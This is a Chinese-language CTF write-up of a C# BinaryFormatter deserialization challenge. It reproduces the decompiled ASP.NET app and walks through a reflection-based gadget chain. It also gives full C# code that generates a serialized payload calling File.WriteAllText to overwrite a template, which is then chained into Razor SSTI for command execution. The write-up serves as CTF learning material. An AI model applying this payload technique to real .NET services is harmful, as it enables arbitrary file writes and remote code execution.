记一道c#反序列化的ctf题
[toc]
这是i春秋冬季杯的一道题,很少见到c#反序列化的题所以记录一下学习过程。
题目给了docker,从web.config
我们能看到WebApplication1.dll
是核心dll文件,直接dnspy反编译。核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
|
private static void <Main>$(string[] args) { AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowFileWrites", true); WebApplicationBuilder builder = WebApplication.CreateBuilder(args); builder.Services.AddDistributedMemoryCache(); builder.Services.AddSession(delegate(SessionOptions options) { options.IdleTimeout = TimeSpan.FromSeconds(10.0); options.Cookie.HttpOnly = true; options.Cookie.IsEssential = true; }); WebApplication app = builder.Build(); app.MapGet("/", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext) { HtmlResult htmlResult = new HtmlResult(""); htmlResult.RenderFile("static/index.html"); return htmlResult; })); app.MapGet("/user", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext) { string name = httpContext.Session.GetString("username"); string razorTpl = File.ReadAllText("static/user.html"); string result = Engine.Razor.RunCompile(razorTpl, "userKey", null, new { name }, null); return new HtmlResult(result); })); app.MapGet("/admin", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext) { string admin = httpContext.Session.GetString("admin"); if (Convert.ToBoolean(admin)) { string razorTpl = File.ReadAllText("static/admin.html"); string result = Engine.Razor.RunCompile(razorTpl, "adminKey", null, new {
}, null); return new HtmlResult(result); } string razorTpl2 = File.ReadAllText("static/error.html"); string result2 = Engine.Razor.RunCompile(razorTpl2, "errorKey", null, new {
}, null); return new HtmlResult(result2); })); app.MapPost("/login", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext) { string username = httpContext.Request.Form["username"]; string password = httpContext.Request.Form["password"]; User user = new User(username, password); user.ic = new ComparerData<string>(); int statu = user.ic.Compare(User.passwordd, password); user.SetKey(ComparerData<string>.key); HtmlResult htmlResult = new HtmlResult("<script>location.href='/user'</script>"); if (Convert.ToBoolean(statu)) { httpContext.Session.SetString("username", username); string userdata = SerTools.Serialize(user); httpContext.Session.SetString("userdata", userdata); } else { htmlResult = new HtmlResult("<script>location.href='/'</script>"); } return htmlResult; })); app.MapPost("/api/UserLoad", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext) { string userdata = httpContext.Request.Form["userdata"]; try { User user = (User)SerTools.DeSerialize(userdata); httpContext.Session.SetString("username", user.username); httpContext.Session.SetString("userdata", userdata); } catch (Exception e) { return new HtmlResult("no"); } return new HtmlResult("ok"); })); app.MapGet("/api/UserExport", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext) { string result = httpContext.Session.GetString("userdata"); return new HtmlResult(result); })); app.UseSession(); app.UseStaticFiles(); app.Run(null); }
|
题目分析
反编译后很容易看出来在/api/UserLoad
处存在反序列化
跟进看看,可以看到是BinaryFormatter
类型的反序列化。c#反序列化类型具体可参考https://github.com/Y4er/dotnet-deserialization
反序列化链
关于c#反序列化的大致流程可以看看y4er佬的图
题目还提供了WebLibClass.dll
,肯定也是有用的,反编译后看到这个dll一共提供了两个类。存在一个名叫gadget类,听名字就有点问题。
gadget类在构造函数中将我们传入的序列化数据复制给了this.info
然后看到TestOnDeserializing
类被添加了OnDeserialized属性,也就是会在反序列化时被自动调用。所以说这应该就是反序列化的入口。
然后在TestOnDeserializing
中可以看到从this.info
中获取到了名为comparer的数据并且实现了IComparer<T>
接口。很明显另一个类ComparerData就实现了这个接口,并且也是可序列化的。
然后又从info中取出了x
,y
,key
这些键的值,需要通过!this.key.Equals(ComparerData<T>.key)
这个判断。而ComparerData<T>.key
是一个随机生成的。
但我们仔细查看源码,在登陆的时候将ComparerData<T>.key
写到了userkey
里面。然后将user类序列化后写到了session里面。
然后就是找到能否有泄露userdata的地方,答案肯定是有的,题目直接写了一个路由返回userdata。这样的话就能满足那个判断了。
然后会调用this.comparer.Compare(this.x, this.y);
,跟进Comparer函数。
当this.isVoid是true时,会进行反射获取任意类的方法并进行调用,该方法限定为静态且两个参数类型为string。
其中this.c是一个内部类。所以最终就是可以调用任意类的两个string类型参数的静态方法,而这个两个参数就是反序列化时读入的x和y。
最后是调用了System.IO.File.WriteAllText(string path, string contents)
直接写文件。最终的反序列化代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| using System; using System.IO; using System.Reflection; using System.Runtime.Serialization.Formatters.Binary; using WebLibClass;
namespace ichunqiu_ezdonet { internal class Program { public static void setField(object o,string name,object value) { Type objectType = o.GetType(); FieldInfo fieldInfo = objectType.GetField(name,BindingFlags.Instance | BindingFlags.NonPublic); fieldInfo.SetValue(o,value); } public static void Main(string[] args) { ComparerData<string> comparerDataObj = new ComparerData<string>(); string tpl = File.ReadAllText("./error.html"); Gadget<string> gadgetObj = new Gadget<string>(comparerDataObj, "/app/static/error.html", tpl); setField(gadgetObj,"key","f5d3547aaf8f4f88b908559ab15e154e"); setField(comparerDataObj,"isVoid",true); Type comparerDataType = comparerDataObj.GetType(); Type innerClassMethodType = comparerDataType.GetNestedTypes(BindingFlags.NonPublic)[0]; innerClassMethodType = innerClassMethodType.MakeGenericType(typeof(string)); Console.WriteLine(innerClassMethodType.FullName); Object innerClassMethodObj = Activator.CreateInstance(innerClassMethodType); setField(innerClassMethodObj,"Classname","System.IO.File"); setField(innerClassMethodObj,"Methodname","WriteAllText"); setField(comparerDataObj,"c",innerClassMethodObj); Console.WriteLine(Serialize(gadgetObj)); } public static string Serialize(object o) { BinaryFormatter binaryFormatter = new BinaryFormatter(); MemoryStream serializationStream = new MemoryStream(); binaryFormatter.Serialize((Stream) serializationStream, o); string base64String = Convert.ToBase64String(serializationStream.ToArray()); serializationStream.Position = 0L; serializationStream.Close(); return base64String; } } }
|
这里并不能实现直接rce,具体原因如下参考了网上wp
一开始想直接调用System.Diagnostics.Process的Start(string filename, string args)方法,这个方法是完全符合条件的,但是貌似没有引用System.Diagnostics.Process.dll所以调用不了。后来根据题目意思就是调用了System.IO.File.WriteAllText(string path, string contents)来写文件
ssti
现在能任意写入文件了,但无法执行rce,所以这里还有个ssti的漏洞点。这里我们可以覆盖error.html
然后再访问admin就能ssti了。
过程
先使用XNN0504
密码登录,然后访问/api/UserExport
获取key。
然后反序列化写入1.sh
文件,之后覆盖error.html
进行ssti,最后访问/admin
触发ssti执行命令。
查看flag
总结
小结就是感觉跟java的反序列化非常像,通过这题也基本大致了解了c#的一些基本反序列化过程和类型。